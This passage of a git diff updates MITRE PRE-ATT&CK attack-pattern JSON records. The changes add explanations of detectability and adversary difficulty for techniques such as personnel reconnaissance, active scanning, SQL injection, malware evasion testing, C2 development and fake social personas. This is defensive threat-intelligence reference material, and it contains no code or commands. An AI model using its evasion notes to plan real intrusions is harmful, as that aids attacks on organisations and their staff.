-    "id": "bundle--eb4629f1-e3c2-4c48-8a0b-5c5c8a4a9a3a",
+    "id": "bundle--36ecb0c3-a7c2-4472-99d3-e32ca5c49184",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify sensitive personnel information",
-            "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed.  Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This type of information is useful to understand the individual and their ability to be blackmailed.  Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726.json b/pre-attack/attack-pattern/attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726.json
index 3f2cc9731b..8311ad3592 100644
--- a/pre-attack/attack-pattern/attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726.json
+++ b/pre-attack/attack-pattern/attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a399490f-6a01-4c6d-8efc-55c54fb1126f",
+    "id": "bundle--458529cb-0678-4671-8d57-951429b4fc73",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct active scanning",
-            "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet.  Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This technique is an expected and voluminous activity when on the Internet.  Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute.  The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717.json b/pre-attack/attack-pattern/attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717.json
index 3082f1edce..cc54b494c5 100644
--- a/pre-attack/attack-pattern/attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717.json
+++ b/pre-attack/attack-pattern/attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--066124ba-1bf1-44eb-a598-e869254889fc",
+    "id": "bundle--61d209e1-7c69-435c-94fb-892fe0497751",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Discover new exploits and monitor exploit-provider forums",
-            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many public sources exist for this information.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many public sources exist for this information."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f.json b/pre-attack/attack-pattern/attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f.json
index 67b9538e54..1d51912bfa 100644
--- a/pre-attack/attack-pattern/attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f.json
+++ b/pre-attack/attack-pattern/attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e98eafea-4f78-492b-81ca-f641a9c52369",
+    "id": "bundle--b8ff8a4d-51fe-4061-a480-a7f7ae42f10e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine 3rd party infrastructure services",
-            "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563.json b/pre-attack/attack-pattern/attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563.json
index b445afaf1c..75efc97302 100644
--- a/pre-attack/attack-pattern/attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563.json
+++ b/pre-attack/attack-pattern/attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--22a0c013-0f8f-40bd-baa5-7c0751433761",
+    "id": "bundle--a7300f5a-57aa-453a-b881-d06ac5cf287b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze architecture and configuration posture",
-            "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include  architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include  architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many of the common tools highlight these weakness automatically.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weakness automatically."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76.json b/pre-attack/attack-pattern/attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76.json
index 9db86d7357..ea29f7ff07 100644
--- a/pre-attack/attack-pattern/attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76.json
+++ b/pre-attack/attack-pattern/attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5dc16087-b42c-4014-bde5-2c1f789631ba",
+    "id": "bundle--d844a4a8-98d5-40e6-bacf-68cda2dfccaf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify groups/roles",
-            "description": "Personnel internally to a company may belong to a group or maintain a role with  electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is a system administrator. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Personnel internally to a company may belong to a group or maintain a role with  electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is a system administrator. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f.json b/pre-attack/attack-pattern/attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f.json
index 300d8a5f60..4c64a96c39 100644
--- a/pre-attack/attack-pattern/attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f.json
+++ b/pre-attack/attack-pattern/attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c5383a9-08d0-46b4-b0ae-cd3cb25a1748",
+    "id": "bundle--1cf73dca-fe79-4c94-a2a9-4dbbf18e1c8a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit public-facing application",
-            "description": "The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique.  This technique, however, requires finding a vulnerable application.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Launching a SQL injection attack is not overly complex and a commonly used technique.  This technique, however, requires finding a vulnerable application."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2.json b/pre-attack/attack-pattern/attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2.json
index 43c75252d7..295aa38c5a 100644
--- a/pre-attack/attack-pattern/attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2.json
+++ b/pre-attack/attack-pattern/attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e47abeac-910e-4fd8-9c54-7e238e18996a",
+    "id": "bundle--d6752c7d-7a03-4186-8f14-2f2b7f4f3fd5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test malware to evade detection",
-            "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336.json b/pre-attack/attack-pattern/attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336.json
index 4c3fa0dabf..62bda52b4a 100644
--- a/pre-attack/attack-pattern/attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336.json
+++ b/pre-attack/attack-pattern/attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ecbd1285-3a90-4d62-b762-6db37beb9ae8",
+    "id": "bundle--367027a3-33e1-40af-8abd-ef592ea5daf5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "C2 protocol development",
-            "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: C2 over commonly used and permitted protocols provides the necessary cover and access.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "C2 over commonly used and permitted protocols provides the necessary cover and access."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27.json b/pre-attack/attack-pattern/attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27.json
index 326bdd9dc2..ec7c24349f 100644
--- a/pre-attack/attack-pattern/attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27.json
+++ b/pre-attack/attack-pattern/attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a10d111a-f0e3-4233-8f8e-36f0a95ff0ad",
+    "id": "bundle--cb020b22-4b13-437a-9bc4-12c0e417d788",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess current holdings, needs, and wants",
-            "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5.json b/pre-attack/attack-pattern/attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5.json
index a8848fc121..0e2c587513 100644
--- a/pre-attack/attack-pattern/attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5.json
+++ b/pre-attack/attack-pattern/attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--95193abc-72dd-428b-a1e3-2f67802304bb",
+    "id": "bundle--03639146-ac55-4e57-9b9a-5d9e7d18b927",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network-based hiding techniques",
-            "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4.json b/pre-attack/attack-pattern/attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4.json
index 218801db44..761b58e94d 100644
--- a/pre-attack/attack-pattern/attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4.json
+++ b/pre-attack/attack-pattern/attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64254e96-6c42-421a-8774-00dbf1dd6d87",
+    "id": "bundle--b1b6b08f-071d-4e71-b3f6-ec45bba28285",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Build social network persona",
-            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Performing activities like typical users, but with specific intent in mind.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Performing activities like typical users, but with specific intent in mind."
         }
     ]
 }
\ No newline at end of file
